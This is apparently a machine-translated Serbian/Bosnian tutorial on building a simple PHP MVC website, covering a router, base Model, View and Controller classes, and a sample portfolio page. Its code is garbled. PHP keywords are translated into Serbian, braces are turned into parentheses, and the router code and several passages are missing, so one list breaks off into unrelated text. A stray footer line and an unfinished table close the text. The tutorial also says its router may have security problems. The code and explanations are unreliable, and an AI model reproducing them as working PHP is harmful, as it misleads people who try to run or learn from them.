    Napominjem da klasa implementira vrlo pojednostavljenu logiku (uprkos obimnom kodu) i može čak imati sigurnosnih problema. Ovo je urađeno namerno, jer... pisanje punopravne klase rutiranja zaslužuje barem poseban članak. Pogledajmo glavne tačke...

    Element globalnog niza $_SERVER["REQUEST_URI"] sadrži punu adresu na koju je korisnik stupio u kontakt.
    Na primjer: example.ru/contacts/feedback

    Korištenje funkcije eksplodirati Adresa je podijeljena na komponente. Kao rezultat, dobijamo ime kontrolera, za navedeni primjer, ovo je kontroler kontakti i naziv akcije, u našem slučaju - povratne informacije.

    Zatim se povezuju datoteka modela (model možda nedostaje) i datoteka kontrolera, ako postoji i konačno se kreira instanca kontrolera i poziva se akcija, opet, ako je opisana u klasi kontrolera.

    Dakle, kada idete na npr. adresu:
    primjer.com/portfolio
    ili
    example.com/portfolio/index
    Ruter će izvršiti sljedeće radnje:

  • će uključiti model_portfolio.php fajl iz foldera modeli, koji sadrži klasu Model_Portfolio;
  • uključit će datoteku controller_portfolio.php iz foldera controllers, koja sadrži klasu Controller_Portfolio;
  • će kreirati instancu klase Controller_Portfolio i pozvati zadanu akciju, action_index, opisanu u njoj.
  • Ako korisnik pokuša pristupiti adresi nepostojećeg kontrolera, na primjer:
    primjer.com/ufo
    tada će biti preusmjeren na stranicu “404”:
    primjer.com/404
    Ista stvar će se dogoditi ako korisnik pristupi radnji koja nije opisana u kontroleru.2.2. Vratimo se implementaciji MVC-a. Idemo u core folder i dodamo još tri fajla u route.php fajl: model.php, view.php i controller.php


    Da vas podsjetim da će oni sadržavati osnovne klase, koje ćemo sada početi pisati.

    Sadržaj datoteke model.php
    Model klase ( javna funkcija get_data ( ) ( ) )
    Klasa modela sadrži jednu praznu metodu dohvaćanja podataka, koja će biti nadjačana u klasama potomcima. Kada kreiramo klase potomaka, sve će postati jasnije.

    Sadržaj datoteke view.php
    class View ( //javni $template_view; // ovdje možete specificirati zadani opći pogled. funkcija generiše ($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // pretvoriti niz elemente u varijable ekstrakt ($data); ) */ uključuje "application/views/" .$template_view ; ) )
    Nije teško pretpostaviti da je ta metoda generirati namijenjeno formiranju pogleda. Njemu se prosljeđuju sljedeći parametri:

  • $content_file - prikazi koji prikazuju sadržaj stranice;
  • $template_file — šablon zajednički za sve stranice;
  • $data je niz koji sadrži elemente sadržaja stranice. Obično se popunjava u modelu.
  • Funkcija uključivanja dinamički povezuje opći predložak (pogled) u koji će pogled biti ugrađen
    za prikaz sadržaja određene stranice.

    U našem slučaju, opći predložak će sadržavati zaglavlje, meni, bočnu traku i podnožje, a sadržaj stranice će biti sadržan u posebnom obliku. Opet, ovo je učinjeno radi jednostavnosti.

    Sadržaj datoteke controller.php
    kontroler klase (javni $model; javni $view; funkcija __construct () ($this ->view = new View(); )))
    Metoda action_index- ovo je akcija koja se podrazumevano poziva; mi ćemo je nadjačati prilikom implementacije klasa potomaka.

    2.3. Implementacija klasa potomaka Model i Controller, kreiranje View's Sada zabava počinje! Naša web stranica za posjetnice će se sastojati od sljedećih stranica:
  • Dom
  • Usluge
  • Portfolio
  • Kontakti
  • I takođe - stranica "404".
  • Svaka stranica ima svoj kontroler iz foldera kontroleri i pogled iz foldera views. Neke stranice mogu koristiti model ili modele iz foldera modeli.


    Na prethodnoj slici, datoteka template_view.php je posebno istaknuta - ovo je šablon koji sadrži oznake zajedničke za sve stranice. U najjednostavnijem slučaju to bi moglo izgledati ovako:
    Dom
    Kako bismo stranici dali prezentabilan izgled, kreiramo CSS predložak i integriramo ga u našu stranicu promjenom strukture HTML oznake i povezivanjem CSS i JavaScript datoteka:

    Na kraju članka, u odjeljku „Rezultat“, nalazi se veza do GitHub spremišta s projektom u kojem su poduzeti koraci za integraciju jednostavnog predloška.

    2.3.1. Kreiranje glavne stranice Počnimo s kontrolerom controller_main.php , evo njegovog koda:
    klasa Controller_Main proširuje kontroler ( funkcija action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ))
    U metodi generirati prosleđuju se instanca klase View, imena fajlova opšteg predloška i pogleda sa sadržajem stranice.
    Osim akcije indeksa, kontroler može naravno sadržavati i druge akcije.

    Ranije smo pregledali fajl opšteg prikaza. Razmotrite datoteku sadržaja main_view.php:
    Dobrodošli! OLOLOSHA TEAM je tim prvoklasnih stručnjaka u oblasti izrade web stranica sa dugogodišnjim iskustvom u prikupljanju meksičkih maski, bronzanih i kamenih statua iz Indije i Cejlona, ​​bareljefa i skulptura koje su stvarali majstori Ekvatorijalne Afrike pet ili šest stoljeća prije...
    Ovo sadrži jednostavnu oznaku bez ikakvih PHP poziva.
    Za prikaz glavne stranice možete koristiti jednu od sljedećih adresa:

    • metode biblioteka koje implementiraju apstrakciju podataka. Na primjer, metode PEAR MDB2 biblioteke;
    • ORM metode;
    • metode za rad sa NoSQL;
    • i sl.
    • Radi jednostavnosti, ovdje nećemo koristiti SQL upite ili ORM izraze. Umjesto toga, mi ćemo emulirati stvarne podatke i odmah vratiti niz rezultata.
      Postavite datoteku modela model_portfolio.php u folder models. Evo njegovog sadržaja:
      class Model_Portfolio proširuje Model ( javna funkcija get_data () ( vraćanje niza ("Godina" => "2012" , "Site" => "http://DunkelBeer.ru" , "Opis" => "Promotivna stranica tamno Dunkel pivo njemačkog proizvođača Löwenbraü proizvedeno u Rusiji od strane pivarske kompanije "SUN InBev." ), niz ("Godina" => "2012" , "Site" => "http://ZopoMobile.ru" , "Opis " => "Katalog kineskih telefona kompanije Zopo na ruskom jeziku baziranih na Android OS-u i dodacima za njih."), // todo ) ) )

      Klasa kontrolera modela nalazi se u datoteci controller_portfolio.php, evo njenog koda:
      klasa Controller_Portfolio proširuje kontroler ( funkcija __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) funkcija action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Na varijablu podaci niz vraćen metodom je upisan get_data koje smo ranije pogledali.
      Ova varijabla se zatim prosljeđuje kao parametar metode generirati, koji također sadrži: naziv datoteke sa općim predloškom i naziv datoteke koja sadrži prikaz sa sadržajem stranice.

      Prikaz koji sadrži sadržaj stranice nalazi se u datoteci portfolio_view.php.
      Portfolio

      Svi projekti u sljedećoj tabeli su fiktivni, stoga nemojte ni pokušavati pratiti navedene linkove.

      2024 | Računari za svakoga - Podešavanje, instalacija, oporavak


      GodinaProjektOpis